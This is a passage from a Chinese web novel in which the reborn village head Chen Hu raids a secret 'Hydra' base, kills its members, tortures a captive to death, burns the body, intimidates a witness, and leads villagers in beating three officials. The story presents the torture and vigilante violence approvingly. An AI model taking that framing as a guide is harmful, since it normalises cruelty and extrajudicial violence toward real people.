可每当夜深人静之时,当陆来娣独自躺在那冰冷的床榻上,望着那透过破旧窗户洒在地上的斑驳月光,她曾经的梦想便如鬼魅般悄然浮现,她的泪水也会不受控制地夺眶而出,浸湿了那早已破旧不堪的枕头。 陆来娣的命运,就此被无情地定格。 在陆来娣年仅14岁的去年夏天,她的父亲便将她许配给了邻村的一位青年。 一开始,陆来娣还会时不时回来看看陆招娣,但随着去年陆来娣的肚子逐渐大了起来,她来的次数就比较少了。 直到今年入秋的时候,依照陆招娣的说法,姐夫来了一趟家里,和她爸妈说了很多话。 陆来娣很多话都没听懂,但却听到了“大人和孩子都没了”、“难产”等话语。 年幼的陆招娣不明白这是什么意思,但等她问她的父母,她的姐姐去哪儿了时,她的父母却支支吾吾地说不出个所以然来。 陆招娣不明白陆来娣怎么了,固执的认为陆来娣是碰到了麻烦,所以才有了眼下向陈虎求助的场面。 听完这个故事后,陈虎不禁阴沉着脸。 陆无双则在一旁早已哭成了泪人,但她却不敢闹出动静,让陆招娣感觉到她的不对劲,她只能别过头去,不时的擦拭眼泪。 第一卷 第156章 善意的谎言 年幼的陆招娣显然还不明白陈虎和陆无双两人的神情,代表着什么。 讲完故事后,陆招娣就怯生生的看着陈虎,同时声音颤抖着询问道:“哥哥、老师,你们能帮帮我姐姐吗?她不想嫁人的,她应该会喜欢上学,你们能让姐姐和我一起上学吗?或者让姐姐上学,那我就不上了。” 陈虎闻言,深深的叹了一口气,心中五味杂陈。 他能想象得到在这个年代里面,大山深处的女孩过着什么样的人生,但当这些悲剧赤裸裸摆在他的面前,即便他陈虎的内核再强大,也难以不为之动容。 犹豫许久,陈虎最终摸了摸陆招娣的头,安慰出声道: “我和陆老师争取让你念书,你好好念书,等你有一天走出大山之后,你就能见到你姐姐了。” “你姐姐那么向往大山外面,她已经靠着她自己走出去了,现在到你需要努力了,明白吗?” 陆招娣闻言,似懂非懂的点点头。 陆无双则再也绷不住情绪,完全泣不成声! 陈虎没有再多说什么了,而后径直转身离开。 他很清楚人类历史至今,类似的悲剧一直在不断重演。 对于这个时代而言,这是不可抗力的! 这就是不以个人意志为转移的既定现实! 回去的路上,陈虎的脑海中不禁再度浮现出那个性格古怪、胡子头发花白的老人。 前世,陈虎和易天行被困在那处岛屿,将近有半月的时光。 而在他们被困在岛屿第七天时,让得陈虎难以理解其思想与行为的易天行,竟突然地将陈虎昨日所捕捞的四条黄鱼,全部都放生回到了海里。 陈虎看到易天行这怪老头把鱼放回海里,当即喝止出声道: “这是我们今儿的口粮!你这是在作甚?” 易天行闻言,却满不在乎地伸出干枯的手掌,拨动着海面,然后头也不回,十分自然的说道: “你面对着无垠的大海,而这片大海里面还有无数的海鲜、鱼类,又为什么要因为四条黄鱼,就和我在这里置气?我不过是个一条腿已经踏进棺材板里面的将死之人罢了!” 陈虎听到易天行这话,当即感到不解又愤懑,但他又不知道还如何反驳。 与此同时,易天行接着用他那沙哑的声线,继续开口道: “小子,你知道吗?实际上在今天,很多的工作都已经可以被机器代替了。” “无论是生产车间的冲压、打磨、装卸,还是田间地头的插秧、打药、播种、采收……全世界这般多适合耕种的田地,那么多的矿产资源,若是能够把资源共享,把科技开发量产,并投放到世界各地的话,那所有的人就都能够吃饱饭了。并且,大家也都能够靠着科技的红利,解放很多的劳动力。” “可你知道为什么这个想法十分虚妄,而且并不会实现吗?” 陈虎被易天行这一问,直接问得怔住了。 回过神来,陈虎摇了摇头,表示他不明白,短暂性地忘却了他的猎物已经被易天行放生了。 易天行随后缓缓站起,而后来到陈虎的面前,拍了拍陈虎的肩膀,轻笑道: “今天不想吃黄鱼了,去捉些别的海鲜来!等你捉到了,那我再告诉你!” 陈虎闻言,顿感愤懑不已,但犹豫片刻,还是因为想知道易天行所提问的问题的答案,只得开始动手下海。 下海之前,陈虎来到岸上的一处灌木旁,轻而易举的砍下了一些灌木树枝。 之后,他灵巧的手指就开始在一堆树枝上忙碌着。 陈虎将沉重的树枝,一根根的交错编织,构建着一个简陋而坚固的捕捉笼。 因为专注,害怕出问题,所以陈虎做得极为仔细,这导致做的时间久了,他的额头都开始微微冒出了汗珠。 阳光照在陈虎顽强的脸上,熠熠生辉。 捕捉笼终于完工,陈虎小心翼翼地将那捕捉笼放入水中,然后利用细枝,构建出了一个陷阱。 当陈虎将笼子固定之后,他的脸上便露出了期待的神情,静静地等待着水下的动静。 很快直到平静的水面开始微微波动,一条银色的鱼悄然游入到笼中。 陈虎见此,心中一阵欢喜,然后轻轻拉紧绳索…… 约莫过了两个钟头,陈虎最后成功捕获到了一笼子的鱼虾。 将鱼虾拎到岸上,陈虎熟练的生火,开始处理鱼虾。 望着陈虎所带回来的猎物,正躺在沙滩上晒太阳的易天行,这才伸了个懒腰。 不等陈虎发问,易天行就继续着他之前的话题道: “接着刚才的疑问,你看,就像这片大海,在海里面有无数的鱼虾,足够你我吃到死。” “但我放生仅仅四条黄鱼,你仍旧会生气。” “小子,同样的道理,资源获取需要劳作,生活所需的物料加工,同样也需要劳作。” “当然,也许机器会取代大部分的人工,来完成这一切,但人不能不劳而获。” “所以。很多发达国家会限制使用全自动化的机器,这样的话,能让工人保住工作,而这个模式放在华夏,叫做‘以工代赈’。” “至于为什么不能像是设想的一般,全世界都资源共享,科技共享,如此资源最大化的利用,让所有人都解放劳动力?” “那是因为人性的原罪——贪婪和愚昧。” “就比如我今天给海边修建了一个护栏,而你想捕鱼,就得给我上缴三成渔获!” “尽管资源无限,但你付出了劳动力,而我坐享其成,我会愿意打开栅栏,和你共享吗?” “显然,我是不会愿意这么做的!” “至于为什么机器解放了劳动,却还要接着用人工,这确实有两个因素考量的。” “一是保证社会稳定,这一点,没必要赘述。” “第二的话,我们不妨往人性阴暗面层次去想。我拿到许多和你一样给我上缴三成渔获的人的渔获后,可以再用这些渔获,去雇佣别人为我做出更多的服务……” “总的来说,人性历来是愚昧的,是贪婪的。” “历史上绝大多数的苦难,都来源于人类的贪婪与无知。” “并且,历来如此,从没有人能够改变这一切。” “对此,你可以批判,可以不解,但你只能目睹和顺从!” …… 不知不觉间,和陆招娣说了善意的谎言的陈虎,有些愣神的游荡着走回了家中。 回想着易天行说过的那句:“人性历来是愚昧且贪婪……历来这样,无从改变……” 陈虎的心中,不禁一阵沉思。 历来如此,就一定不能够改写吗? 历来如此,就只能顺从吗? 第一卷 第157章 九头蛇的秘密基地 在距离小镇二十里之外,广袤无垠的荒野悄然延展。 一望无际的干枯草地和杂乱石块交织,微风吹拂,时不时的卷起一阵尘土,像是历史的碎片,诉说着岁月的沉静。 天际线与干燥的土地在远处模糊交融,仿佛连成一个不可分割的整体。 天地之间,似乎只剩下这片死寂的荒芜。 在这荒野的心脏深处,其实掩藏着一个神秘组织的临时基地。 这临时基地的存在,就如同一颗埋藏在沙漠中的明珠,外表毫不起眼,只有那些熟悉这里的眼睛才能够察觉到细微的异样。 周围的植被似乎故意疏离,这里的灌木丛和扭曲的树木在雨水的滋润下,依然显得苍劲而坚韧,蜿蜒的藤蔓如同一种无法言喻的警觉,守护着这道神秘的屏障。 荒野的每一个细节,似乎都在为这个基地的存在,而提供暗示。 苍穹下降,乌云笼罩,光线变得昏暗,时间在这里以一种奇异的节奏流动,渗透着深邃而神秘的气息。 每一步走向基地,都是在探索未知,破解一个个隐藏在尘封历史中的秘密。 陈虎在次日傍晚的时候,才独自找到了这处隐匿在荒野中的隐秘基地。 在一处灌木后面,陈虎仿佛通晓此处一切般,找到了一处地道的入口。 而后,陈虎轻而易举将地道打开,径直朝着那黝黑的洞口走了进去。 刚走进地道,周围点燃的烛火便在泥墙上面,映衬出了一个火红图案! 那是一头抽象而凌乱画风的怪物,身上刻着鲜红的痕迹,铸就了这幅图案。 望着这幅图案,陈虎不由得一阵恍惚。 这是九头蛇的专属图案,而这幅神秘的图案曾陪伴他超过十五个年头。 陈虎不由得深吸了一口气,接着放慢了脚步,开始朝着地道深处摸去。 他明白在短时间内,孙若薇并不能将这个组织的信息,还调查出来。 而陈虎既然要对其动手,那他就需要提前掌握主动权! 其中最快捷高效的方式,那就是端了这处九头蛇分支基地,拿到足够的线索,再借用孙若薇家中的军方资源,接着全面展开调查。 陈虎屏住呼吸,踏入了黝黑的地道。 他的手指轻轻抚摸着那冰冷而潮湿的泥墙,透过微弱的烛光,火红的怪物图案在他脑海之中,唤起了无数回忆。 每一道锋利的线条,都似乎在挑逗着他心底的阴暗,仿佛是在嘲笑他此刻的肆意与决绝。 陈虎收拾好心情,而后深吸一口气,继续向前深入。 地道越往里走,空气越发稀薄,潮湿的气味混合着一丝铁锈的腥味,令人作呕。 陈虎全神贯注的盯着周围,敏锐地捕捉着每一个细微的声响。 前方传来的低语声、金属撞击声、甚至于偶尔的脚步声,都让陈虎意识到,时间已不再宽裕,潜伏在阴影中的猎手,必须迅速行动。 陈虎缓慢移动,尽量不发出任何声响,修长的身影躲藏于阴影之间,随时准备迎接任何突发的危险。 忽然,一扇通往基地内部的木门出现在前方,微弱的光线隐约从门缝中逸出,陈虎的心跳随之加速! 陈虎蜷缩着身子,透过门缝,窥探内部,随即注意到三个身着黑色制服的组织成员正聚在一起讨论着什么。 不容多想,陈虎悄然推进,身形如影般滑入门内。 他先是猛地用一只手掌,拍击离得最远的一名成员的后颈,瞬间将其压制在地,尽量不发出声音,用力地断了他的呼吸。 周围的人此时尚未察觉,陈虎抓住这个机会,迅速从身后扑向了另一名成员,在瞬间抽出他藏于腰间的匕首,锋利的刀刃闪烁着冷光,毫不留情地划过那人的喉咙,喷溅出的鲜血在烛光之中,变得妖艳无比。 随后,在最后一人吃惊的目光中,陈虎又迅速出手,让这人连声音都没有发出,就倒在了血泊之中。 此时,陈虎的心中只剩下冷静,他的身体在这个狭小的空间里面,如同灵动的风,快速而果断地解决掉其它的目标。 他们每一个动作使出来都如同行云流水一般,毫无瑕疵。 紧接着,后方的另一扇门打开,又有两名组织成员走出,陈虎迅速隐藏在一旁,暗自观察。 他的心跳声在这一刻与周围的嘈杂声合而为一,融合在这个动荡的空间里面。 等他们走近时,陈虎闪身出击,犹如怒涛奔涌,直扑而上。 一记肘击将前方的一名成员打偏,继而用匕首,顺势割断了另一人的手腕,武器掉落时发出清脆的撞击声,却未能打破陈虎的节奏。 即便是此刻,陈虎的心中也只有一个目标——摧毁这个基地,找到足够线索! 随着越深入,目标间的距离逐渐缩短,陈虎的意图愈发明显,他知道,今天必须尽快结束战斗,否则的话,估计这里的消息被传出后,他必然会面临一个被动的局面。 不多时,这处扎根在荒野的秘密基地内,便燃起了一场大火。 大火蔓延得很快,周边的荒草地都被一同点燃。 陈虎拖着一个被折断手脚,宛如死狗似的,约莫不到三十的青年从火场离开,径直来到了不远处停放汽车的荒地里面。 包专按照陈虎的吩咐,一直侯在这儿。 见到陈虎拖着一个半死不活的人赶来,包专赶忙下车,满脸惊悚的盯着陈虎与他手里拖着,那像是死狗一般的男人。 “虎哥……这是?” 陈虎没回应,反倒直接将青年扔到了一旁的荒地上,而后打开车门,仔细翻找着什么。 很快,陈虎便拿出了一根约莫十几厘米长度的铁签。 这铁签的一头十分尖锐,且上面锈迹斑斑,让人辨认不出最开始的作用。 在包专惊悚的目光下,陈虎拿着铁签来到了那地上半死不活的青年面前。 对方像一条被重创后扔弃在荒野的野狗,眼里带着一抹惊惧与不屈。 二十多岁的身躯,在傍晚昏暗的光线下,显得格外单薄。 他的手脚以怪异的角度弯折着,那是被暴力折断的痕迹,伤口处的血污已凝结成痂,与泥土混在一起。 他的嘴被一块破布死死封住,只能发出沉闷的“呜呜……”声,像是从地府传来的幽咽。 此时,他双眼圆睁,眼睛里面满是惊恐与绝望,乱发在风中狂舞,仿佛也在为他的遭遇而悲号。 他躺在荒地上,四周是一望无际的枯黄,衰草在风中瑟瑟发抖,如同他此刻摇摇欲坠的生命。 陈虎一言不发,直接抓起青年的一只手,然后拿起铁签,直接从他右手拇指的指甲盖下,戳了进去。 鲜血很快离开涓涓流出,本来早已放弃嘶吼,咬着牙一声不吭的青年,此时整张脸扭曲着,再度痛苦的喊出声来! 陈虎见状,手中的动作依旧没有停下,接着猛地拔出铁签,换了一根手指,重复刚才的动作。 青年的喊叫声逐渐断断续续,目睹一切的包专,直接呆愣着站在一旁,只觉得他是在亲眼目睹着恶魔蚕食这青年的生命。 直到十根手指全部都被铁签挑起指甲盖,这青年也不再嘶喊,反倒满脸血泪的惨笑出了声道: “就这点能耐吗?你是打算拷问我吗?呵呵……回家再练练吧!要不要我教你怎么严刑逼问啊?” 第一卷 第158章 恐怖的吊命手段 青年的声音,此时已经有气无力了。 陈虎闻言,不由得露出了一抹颇有深意的浅笑。 而后,陈虎也不作声,直接拿起铁签,开始了新一轮的酷刑。 这一次,铁签开始从青年身体的各个位置插入,或是挑破皮肉,或是刺穿骨头。 很快,青年浑身就都沾满了血迹,俨然成了一个血人! 而青年原本满不在乎的神色,也逐渐开始惊恐! 他惊觉发现,陈虎的手段与他所知的严刑、酷刑如出一辙,甚至于陈虎的手法比起他还要熟练。 这下子,青年直接彻底就慌了神道: “你……你到底是谁?痛!你放过我……我不要……我不要!” 刑讯逼供挑战的从来不是人体极限,因为没人能够从真正意义上的酷刑中不张嘴。 陈虎看着青年,语气平静道:“没人能够撑过酷刑逼供,真正意义上的酷刑从来不是在挑战人体极限,而是凌驾在肉体与精神上的一种惩处。对于咬着牙不开口的人来说,最为恶毒,并且没有下限的惩处!” 青年耷拉着脑袋,抬眼望向陈虎,他的眼里有疑惑、有不解,更有一股来自骨子里面的战栗与惊恐。 他早就该撑不住了,可以说他的身体早就已经到了极限。 但陈虎却利用特殊手段,让他保持着清醒。 “你是谁?你怎么……知道这些?你和我……来自同一个地方!” 陈虎暂且放下那根随手找来的铁签,而后神色平淡对青年说道: “说吧!九头蛇在这里布置的据点目的是什么?你的任务是什么?最近的另一个据点在哪儿?” 面对陈虎一连三问,青年此刻再没了方才那股子硬气,遍布血泪的脸上随即露出了一抹苦涩的笑意,而后缓缓出声,回答道: “据点是随机分布的,具体任务包括但不限于以商人身份收购附近一带各种珍稀矿产,以及走私一些战略物资,组织在扩建,需要很多……很多的军需资源,而这处地带恰好……恰好有我们需要的。” “最近的据点,在边境线外一处红树林里,那处据点是大型据点,据点内有四个分组,共计超过百余人……” 听完青年的供述,陈虎挑眉追问道:“你应该知道,怎么样判断出逼供情报准确与否,同类型的手段超过上百种,你会的我都会,你不会的我也同样会,你有没有什么需要补充的?” “如果没有,那若是等会儿你给出的情报对不上的话,那我会带你回去,让你多活过今晚。” 陈虎的语气很平淡,但落在青年和边上包专的耳朵里面,却宛如恶魔低语。 包专不明白活过今晚意味着什么,但青年清楚知道,依照陈虎所展露的手段,那对方应该会依靠一些吊命的手段,能够让他生不如死一整夜,并且一直都持续的保持着清醒的状态! 疼痛和痛觉,类似于身体的一种警报装置。 警报是为了告诉大脑,某个身体部件受损或是出现异样,而造物主在创造痛觉时,还做了一个保护机制。 那就是当痛觉达到一定程度后,大脑会直接启动这项机制,然后陷入昏迷,从而避免躲避剧痛所带来的精神创伤。 可同样的,人类的身体有许多开关,可以用各种各样的方式,让一个人清醒受刑。 青年很清楚,眼前这个面容青涩的恶魔,必然能将“生不如死”这个词给具象化! 约莫半个钟头后,陈虎结束了审讯。 青年如愿以偿的咽了气,闭上双眼,没了动静。 得到答案的陈虎这时才回想起边上杵着的包专,当即招呼着包专将青年的尸体拖到一处僻静地。 而后,陈虎又从车上取下了一罐汽油,将汽油尽数倒在了青年的尸体上。 点燃青年的尸体后,陈虎接着招呼包专带着他驱车离去。 车子驶过荒野,身后因为大火而点燃的荒地上,不断的闪着火星。 包专直到开车驶离,才堪堪回过神来。 深吸了一口气后,包专才结结巴巴的冲着陈虎问道: “虎哥……那人是……” 陈虎坐在后座,头侧向窗外,望着身后那荒地上仍在燃烧的青年尸体,与大片烧成了灰烬的荒地上所闪耀的点点火星,缓缓出声道: “黑狗,我给你讲个故事吧!” 包专闻言,狠狠的咽了口唾沫,接着急忙应声道:“虎哥,您说!” 陈虎不紧不慢的开始诉说他所谓的故事: 在一个宁静的森林里面,生活着一群快乐的动物。 它们彼此之间友好相处,分享彼此的喜怒哀乐。 森林里面住着一只名叫小兔的兔子和一只名叫小松鼠的松鼠,它们是最好的朋友,形影不离。 有一天,小松鼠在森林的深处发现了一颗神奇的种子。 小松鼠意识到这颗种子可能会长出一种世上独一无二的美丽果实。 它非常兴奋,但也担心其他动物知道后会争抢这颗种子。 于是,它决定把这个秘密告诉小兔,但希望小兔能保守秘密。 小兔答应了小松鼠,并对这颗神奇的种子充满了好奇。 几天后,小松鼠开始在一个隐蔽的地方,精心种下这颗种子,并告诉小兔,以后只有它们两个可以享用这奇特的果实。 随着时间的推移,森林里的其它动物发现了小松鼠和小兔的异常行为,纷纷猜测它们在秘密做什么。 好奇的小狐狸忍不住想知道,于是向小兔询问。 小兔面临着一个艰难的选择:是忠于朋友,保守这个秘密,还是为了吸引动物们的关注而泄露秘密。 小兔犹豫了,但最后决定保持沉默,继续支持小松鼠的决定。 在小兔的帮助下,小松鼠细心照料着种子,终于在一个阳光明媚的日子,种子发芽了,长出了五颜六色的果实,果实散发出诱人的香气。 其它的动物们闻到了香味,纷纷前来询问。 小兔心中暗想:如果我告诉大家,或许可以一起分享这美味的果实,但这样会违背小松鼠的信任与忠诚。 小兔决定坚持保守秘密,直到果实成熟。 最终,小松鼠和小兔共同品尝了美丽的果实,味道鲜美无比。 看到果实的美味,其它动物们不得不承认小兔和小松鼠的选择是对的。 从此之后,动物们更加信任彼此,知道在友谊中,保守秘密与忠诚同样重要。 小兔和小松鼠的友谊,也因此更加深厚,它们懂得,真正的忠诚在于知晓何时共享与何时守护。 …… 故事讲完,陈虎随即轻笑着望向包专道: “你还记得我当初收下你时告诉过你什么吗?黑狗?” 第一卷 第159章 坦白从宽,脑袋打穿,抗拒从严,回头分钱! 尽管是在这寒冷的初春,但包专此刻坐在驾驶位上,却不禁满头大汗。 听完陈虎的话后,包专不禁一阵口干舌燥道: “虎哥,我……我记得!您放心!我清楚什么该说,什么不该说!” 陈虎并未在意包专的保证,而是笑吟吟犹如恶魔低语般,对包专循循善诱道: “你不需要知道得太多,你只要记住今天我们就去了山里打猎,而后一无所获就成!” “若是有一天被审问了,又或者是有人追查这场火与那些烧焦的尸首,那你只需要明白一句话。” “虎哥您说,我记着!”包专赶忙回话。 陈虎接着轻笑道:“坦白从宽,脑袋打穿,抗拒从严,回头分钱!” 此刻的包专,一边应声,一边透过后视镜看到了正在把玩着一把没见过款式手枪的陈虎,心中毛骨悚然的同时,对陈虎的认知也再进一步翻新了。 养殖场的事务现在都交给了马老三打理,陈虎得空闲时去视察过,各方面都达到了标准,可以说,马老三在养殖场做事绝对是尽心尽力的。 鸡苗的长势十分不错,而眼下开春,除了养殖场外与学校,陈虎最开始答应村民乡亲们的供销合作社,也被提上了日程。 次日,陈虎特意又跑了一趟镇上,在和售卖干货的吴老板谈妥后,当天下午便召集了村民们。 如今的陈虎,可算是镇上的风云人物,又是上河村的村长。 陈虎喊集会,村里人倒是都十分给面。 很快,全村八十几户人家,老少、青壮,拖家带口的全部都到了陈虎家院里。 院子里面,此时被村民们围得满满当当的。 在等待人到齐之前,大家伙都忍不住议论纷纷。 “不知道虎子今儿把大家叫来搞啥嘞?这么大动静,全村估摸着都过来了吧!” “张奶奶,您都这把年纪了还跑来凑热闹嘞?” “哎呦!怕是之前学校那个陆老师那档子事,据说村长和那老师好上了,前几天陆家小子当着村长面说陆老师坏话,还挨了一顿打!” “活该被打!人家老师被聘请过来,啥好处不图,结果还被人贩子拐了,那混球还买回来当老婆,死光棍死得好!一把年纪没啥能耐,大字不识一个,自个儿都养不活,拿着点补偿款过日子,还敢娶人家高学历的城里老师?” “别嚷嚷了!村长来了!” …… 陈虎走出房门,看着满院子的乡亲,当即便招呼着包专和马老三搬来一张桌子。 为了让村民们看清楚自己,陈虎二话不说,直接就站到了桌上。 见陈虎露面,大家伙很快安静下来。 陈虎也不废话,环视一圈后,轻咳清清嗓子,当即扬声开口道: “乡亲们!今儿把大家叫过来,是想告诉大家之前我答应你们的供销社,今日开始动工!” “我会在村头修建一间仓库,往后对接干货或者一些农产品,还有一些个珍稀药材、名贵补药,大家都找马老三对接,她媳妇儿负责收,钱款现场皆付清楚!” 陈虎站在桌子上,身形挺拔如山间青松。 他声音洪亮,犹如晨钟般敲响在众人的耳畔:“这供销社,除了干货山珍,乡亲们也可以把自家种的粮食、蔬菜、水果都拿来卖。” “虎子,那这价钱咋算嘞?”一个头发花白的老汉,佝偻着背,像是一株饱经风霜的老树,颤巍巍地问道。 “价钱嘛……就按市场价,童叟无欺!”陈虎朗声答道。 “那俺们岂不是占了大便宜?”一个壮汉挠了挠头,憨厚地笑道,脸上的褶子像极了开裂的核桃。 “这供销社,我一分钱不赚你们的,只从那些收干货的商人那儿拿点辛苦钱,维持供销社运转就成。”陈虎摆了摆手,语气坚定。 “虎子,你真是个大好人啊!” “是啊!咱们村以后都得靠虎子嘞!” “虎子当村长,真是我们全村人的福气!” …… 人群之中,爆发出阵阵赞叹,像春风拂过田野,掀起层层麦浪。 “大伙儿放心,我陈虎说到做到!”陈虎一锤定音。 “好!” 村民们群情激昂,一呼百应。 “那事不宜迟,咱们这就开工!”陈虎大手一挥,如同指挥千军万马的将军。 村民们热情高涨,如同脱缰的野马,纷纷抄起家伙,热火朝天地干了起来。 这供销社,说白了就是两个简易仓库,在众人齐心协力下,进展神速。 第三天,仓库的主体结构基本完工,正准备封顶。 这时候,一辆轿车却突兀地停在了村口,从车上下来三个穿着制服的公务员,一个个面色冷峻,如同寒冬腊月里的冰块。 “谁是陈虎?” 其中一个领头的公务员,眼神锐利如鹰隼,扫视了一圈众人,厉声喝问道。 “我就是!”陈虎放下手中的工具,走了过去。 “你这供销社,手续不全,必须停工!”那公务员语气强硬,不容置疑。 “手续?什么手续?”陈虎闻言,不由得皱起了眉头,疑惑不解。 “开办供销社,需要经过镇上审批,你批了吗?”那公务员冷笑着,语气之中,带着一丝嘲讽。 “这供销社是为了方便乡亲们,又不是什么大买卖,还要批?”陈虎听到这话,顿时有些不悦。 “少废话!没有审批,就是违规!必须停工!”那公务员态度蛮横,丝毫不肯退让。 “你们这是故意刁难!” 陈虎怒火中烧,拳头捏得咯咯作响。 “刁难?我们这是依法办事!” 为首的公务员说完后,连他在内的那三个公务员都先后不屑地撇了撇嘴。 “依法办事?没有人情的法律是恶法!没有人心的官宦都是狗官!” 陈虎再也忍不住,一拳挥了出去,正中那领头公务员的面门。 “打人啦!打人了!”那三个公务员顿时乱作一团。 村民们见状,也纷纷一拥而上,如同愤怒的蜂群,将那三个公务员团团围住。 一场混战,不可避免地爆发了。 最终,那三个公务员被打得鼻青脸肿,落荒而逃。 陈虎站在村口,望着远去的轿车,眼中闪烁着坚毅的光芒。 他知道,这只是个开始。 他不信镇上的公务员,会有心思盯着上河村这小地方,为了个供销社的事情专门过来废这闲工夫。 恐怕……这里面有更大背景的人盯上了上河村。 为了乡亲们,他陈虎将不惜一切代价,与这些没有人性的官僚斗争到底! 第一卷 第160章 是时候了! 当然,既然想明白了这些官僚背后还有人,那陈虎自然是要想办法把这隐藏在背后的人,给找出来了。 陈虎随后拍了拍身上因为参与干活而沾上的灰土,像掸去肩上的重担。 “黑狗,老三,这供销社后续的事儿就交给你们了。” 听到陈虎的话,包专立马就挺直了腰板,拍着胸脯保证道:“虎哥,您就放心吧!我保证给您办得妥妥的!” 马老三随后也跟着附和道:“虎哥,俺也一样!保证完成任务!” 陈虎闻言,满意地点了点头,然后转身,走向停在村口的轿车。 发动机的轰鸣声,像野兽的低吼,随后便在山村里面回荡。 陈虎驾驶着轿车,一路疾驰,卷起了漫天的尘土,像一条黄龙,蜿蜒在乡间小路上。 他要去镇上,找他的女朋友孙若薇。 他知道,这件事情,光靠武力解决是不行的,还是得从根源上解决问题。 轿车停在了孙家门口,陈虎走下车,敲响了大门。 开门的是一个五十来岁的老者,见到陈虎后,他的脸上立马堆满了笑容,像朵盛开的菊花。 陈虎倒是第一次见到这位老者,不由得微微皱眉,开口道:“我叫陈虎,找孙若薇,不知道老人家您是?” “陈先生,您来了,小姐正在等您呢!”老者说着顿了顿自我介绍道:“我以前是孙老的警卫员,如今家中没了妻小,到孙老家住下,陪孙老解解闷。” 陈虎闻言点了点头,然后跟着老管家走进院子,穿过曲折的回廊,来到了孙若薇的房间。 孙若薇正坐在窗边看书,听到脚步声,抬起头来,看到是陈虎,脸上露出了灿烂的笑容,像冬日里的一缕阳光,温暖人心。 “你来了!” “若薇,我需要你的帮助!”陈虎直接开门见山,语气严肃。 “什么事儿?你说!”孙若薇听出了陈虎语气里的不一般,然后放下手中的书,认真地看着陈虎。 陈虎将供销社的事情,以及与三个公务员发生冲突的经过,详细地告诉了孙若薇。 孙若薇听完,不由得秀眉微蹙,像两条弯弯的柳叶,眼中闪过一丝怒意。 “这些人也太过分了!” “若薇,你能帮我查查,这三个人是什么来路吗?” “没问题!我这就让人去查!”孙若薇随后拿起电话,拨通了一个号码。 不到一个小时,调查结果就出来了。 正如陈虎所料,这三个人都是司家派来的镇上的公务员。 司家,是县城里面的一个大家族,势力庞大,黑白通吃。 而司家的家主,司宫,更是个心狠手辣的角色。 想到司宫,陈虎的眼中,不由得闪过一丝寒芒,像一把出鞘的利剑,锋芒毕露。 “陈虎,你打算怎么办?”孙若薇十分关切地问道。 “我要去县城,会会这个司宫!”陈虎语气坚定,不容置疑。 “陈虎,你要小心!”孙若薇闻言,有些担忧地看着陈虎。 “放心吧!我不会有事的!”陈虎笑了笑,安慰说道。 他简单的和孙若薇告别,然后就转身离开了孙家。 发动机的轰鸣声,再次响起,轿车像离弦的箭,飞驰而去。 陈虎直奔县城,他要找司宫算账。 陈虎的吉普车在县城坑坑洼洼的土路上颠簸,像一叶扁舟在波涛汹涌的大海上航行。 傍晚的阳光给县城镀上了一层金边,像一幅古老的油画。 陈虎眯着眼,眼神锐利如鹰隼。 他此行的目标明确,直奔城东马关口县城东边的一处堂口。 这堂口原本是马加爵的地盘,而后又成了成枝豹的地盘,而成枝豹死后,又被司家扶持的刘三刀给接手了。 刘三刀长得五大三粗,满脸横肉,活像戏台上的李逵。 陈虎把吉普车停在路边,就走进了一家路边的小卖部。 “老板,借个电话用用!” 小卖部老板是个眯缝眼的中年男人,听到陈虎的话后,不由得上下打量了陈虎一眼,问道:“打哪儿?” “县政府!” 陈虎语气冷漠,带着一股不容置疑的威严,让人不敢拒绝。 老板闻言,不敢怠慢,连忙把电话给递了过去。 陈虎随后便拨通了孙若薇给他的一个号码。 “喂!哪位?” 电话那头,传来了一个略显疲惫的声音。 “是我!陈虎!” “哦……陈虎啊,有什么事情吗?” “今晚我有点事情要办,你帮我打个招呼,让城东的巡逻和报案都消停点。”陈虎语气平静,仿佛在说一件微不足道的小事。 电话那头突然沉默了片刻,然后说道:“陈虎,你也知道,有些事情不是我能控制的,司家的势力很大……” “我知道!我只是不想节外生枝!你只管跟他们说,这是孙家的意思就行!”陈虎直接打断了对方的话,语气严肃。 电话那头再次沉默,许久之后,才传来一声无奈的叹息道:“好吧!我尽量试试!不过你也别闹得太大,否则的话,就我也保不住你!” “我心里有数!” 陈虎挂断电话,把话筒递还给老板,顺手丢下了一张大团结。 “不用找了!” 老板看着手里的钱,顿时就笑得眼睛都眯成了一条缝。 陈虎随即走出小卖部,此时,天色已经渐渐暗了下来。 他抬头看了看天,嘴角同时勾起一抹冷酷的弧度。 是时候了! 随后,陈虎像一只幽灵,悄无声息地潜入了这处堂口辖下的一家赌场。 赌场里面,灯火通明,人声鼎沸,像一个巨大的蜂巢。 赌徒们一个个面红耳赤,像打了鸡血一样亢奋。 陈虎眼神冰冷,扫视着赌场内的一切。 他就像一头潜伏在暗处的猎豹,随时准备发动致命一击。 陈虎随后走到一张赌大小的桌子前,旁若无人地坐了下来。 赌桌上,此时已经围满了人,那些赌徒们一个个都像饿狼似的盯着骰盅。 荷官是个瘦猴似的男人,眼珠子滴溜溜地转,活像一只偷油的老鼠。 陈虎直接掏出一叠大团结,足足有一百块。 周围的赌徒们不由得都看傻了眼,像是一群土拨鼠似的探头探脑地盯着陈虎看。 毕竟,这年头随手拿出一百块的都不是普通人,更别提能随手拿出一百块来赌场里面潇洒的人了! “我压大!” 陈虎语气平淡,却带着一股不容置疑的威严。 第一卷 第161章 赌输了,你的命就没了 看到陈虎出手如此阔绰,他所在赌桌的那名荷官不由得愣了一下。 回过神来,那名荷官连忙赔笑道:“这位爷,您出手真阔绰!小的这就开盅!” 骰盅打开,三个六,豹子。 周围的赌徒们看到这局开盅所开出来的结果,当即都发出一声惊呼,像一群被踩了尾巴的猫一样。 陈虎面无表情,然后把这一局赢来的钱,全部都收了起来。 “再来!” …… 随着时间推移,那名荷官的额头上面,已经渗出了细密的汗珠,像蒸笼里的包子一样。 他看着陈虎的眼神里面,慢慢的已经从对陈虎刚开始第一句开豹子而赢的惊恐,开始变成了陈虎每局都赢豹子的惊惧了。 他没有怀疑陈虎出千,因为这是他自己亲自全程开盅,陈虎根本没有参与,他只能把原因归咎到他的运气差而已。 他感觉他今天的运气特别差,就像是掉进了茅坑一样,他又连续开了三把豹子给陈虎,他感觉他的裤衩子都快输掉了。 也不知道赌场老板知道他这一桌的输赢情况,会怎么惩罚他这个“赔钱货”! 这一局,陈虎又赢了。 并且,陈虎这一局赢得更多。 随即,陈虎眼看时机差不多了,就直接把他所有的钱推到了赌桌桌子中央,然后语气冰冷地喊道:“除了我的钱,我再压这个,赌命!” 说着,陈虎就从怀里面掏出了一把手枪,黑色的枪身在灯光下泛着冷光,像一条毒蛇一样。 赌场里面的气氛,瞬间凝固了,像一块冰块一样。 